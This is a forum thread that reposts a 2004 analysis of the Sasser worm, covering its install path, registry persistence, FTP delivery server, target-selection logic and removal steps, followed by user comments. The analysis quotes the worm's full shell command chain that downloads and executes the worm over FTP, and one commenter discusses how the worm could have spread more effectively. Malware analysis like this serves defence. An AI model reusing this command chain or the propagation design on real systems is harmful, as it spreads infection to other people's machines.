hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

Full Version: Sasser Worm Analysis
Paul
URL
http://www.lurhq.com/sasser.html

Release Date
May 1, 2004

Summary
A new worm called "Sasser" has been found spreading in the wild.

Analysis
The worm utilizes the MS04-011 LSASS exploit released by "houseofdabus" on Thursday April 29 2004. The worm executable was compiled on Friday April 30 2004 at 19:23:16 (timezone unknown).
When executed, the worm:

Installs itself to %WINDIR% as avserve.exe
Adds the following registry key:
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
avserve.exe -> C:\%WINDIR%\avserve.exe

Creates a Mutex "Jobaka31" to ensure only one copy of the worm runs in memory
Spawns a mini-FTP server on TCP port 5554 to deliver the worm executable to exploited systems
Spawns 128 threads to scan for and exploit vulnerable systems
Calls API method AbortSystemShutdown to prevent the system from rebooting
Sleeps for 3 seconds then loops back to the AbortSystemShutdown call
The scanner threads work as described below:

The thread attempts to determine the local subnet address
A target IP to exploit to is generated:
50% of the time it will attempt to exploit a completely random IP address
25% of the time it will attempt to exploit a random address within the same first octet of the local subnet
25% of the time it will attempt to exploit a random address within the same first and second octets of the local subnet
If successful, the LSASS exploit will open a shell on the remote system on TCP port 9996
The worm will connect to this port and attempt to send the following commands:

echo off&echo open [infecting machine's IP] 5554>>cmd.ftp&echo anonymous>>cmd.ftp&echo user&echo bin>>cmd.ftp&echo get [rand]_up.exe>>cmd.ftp&echo bye>>cmd.ftp&echo on&ftp -s:cmd.ftp&[rand]i_up.exe&echo off&del cmd.ftp&echo on

This will copy the worm executable to the target machine, where it will run and begin to spread
The thread sleeps for 250 milliseconds, then repeats the entire process
Removal
Use the task manager to kill the avserve.exe process, then delete the HKLM\Software\Microsoft\Windows\CurrentVersion\Run\avserv.exe registry key. It may not be possible to run Windows Update to install the patch before the machine is compromised again, similar to what Windows users experienced with the Blaster worm. Block TCP port 445 then patch the system for MS04-011, or download and install the patches from a CDROM while offline.

More detailed removal instructions are available from Microsoft at http://www.microsoft.com/security/incident/sasser.asp

Nick
monday will be a bad day for networking security in big firms .....
eddy
QUOTE (Nick @ May 2 2004, 08:50 AM)
monday will be a bad day for networking security in big firms .....

i hope not i mean the patch only been out for what 3 weeks you would think that would be enough time for people to patch up laugh.gif
devon
it wasnt, i just have to take the results I had yesterday. 5-10 domainhosting machines in <1hour ... shitty worm lets the vuln die now... that sucks...

dev'
strasharo
Curse on the damn worms. wink.gif
tweakz20
doesn't get past my fancy routers wink.gif

congrats the the creator for ruining all of our fun
Killaloop
one of the lamest worms ever made.
uses stupid ways to transfer files.
transfers stupid files and often fails because of tcp filtering.
xcopy would have done this all without any ftp client.
and also compromised machines have 10 or more of this xxxx_up.exe files in system32.
whats the use of this worm anyhow. it only spreads, doesn't even close the hole and uses no backdoor. all just to wake up the lazy admins I guess
jimmy
you'dd start thinking people are hired from ms to make such worms
B3T4
u can all call worms lame and bad coded or whatever, but non of u made this worm, LOL i bet u would be overjoyed if this was your worm.
Killaloop
QUOTE (B3T4 @ May 3 2004, 01:43 PM)
u can all call worms lame and bad coded or whatever, but non of u made this worm, LOL i bet u would be overjoyed if this was your worm.

writing a worm for an existing and absolutely working exploit where you don't need anything to do in such a simple and uneffective way is what I call lame, yes.
this way every 0815 coder can code a worm. I would still have used xcopy to transfer my files he mad it even more complicated for nothing smile.gif
not patching the compromised host, droppen 1000 of files and it spreads rather slow because of tcp transfer.
this exploit has had the power to see a much nice worm not such a simple thing.
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.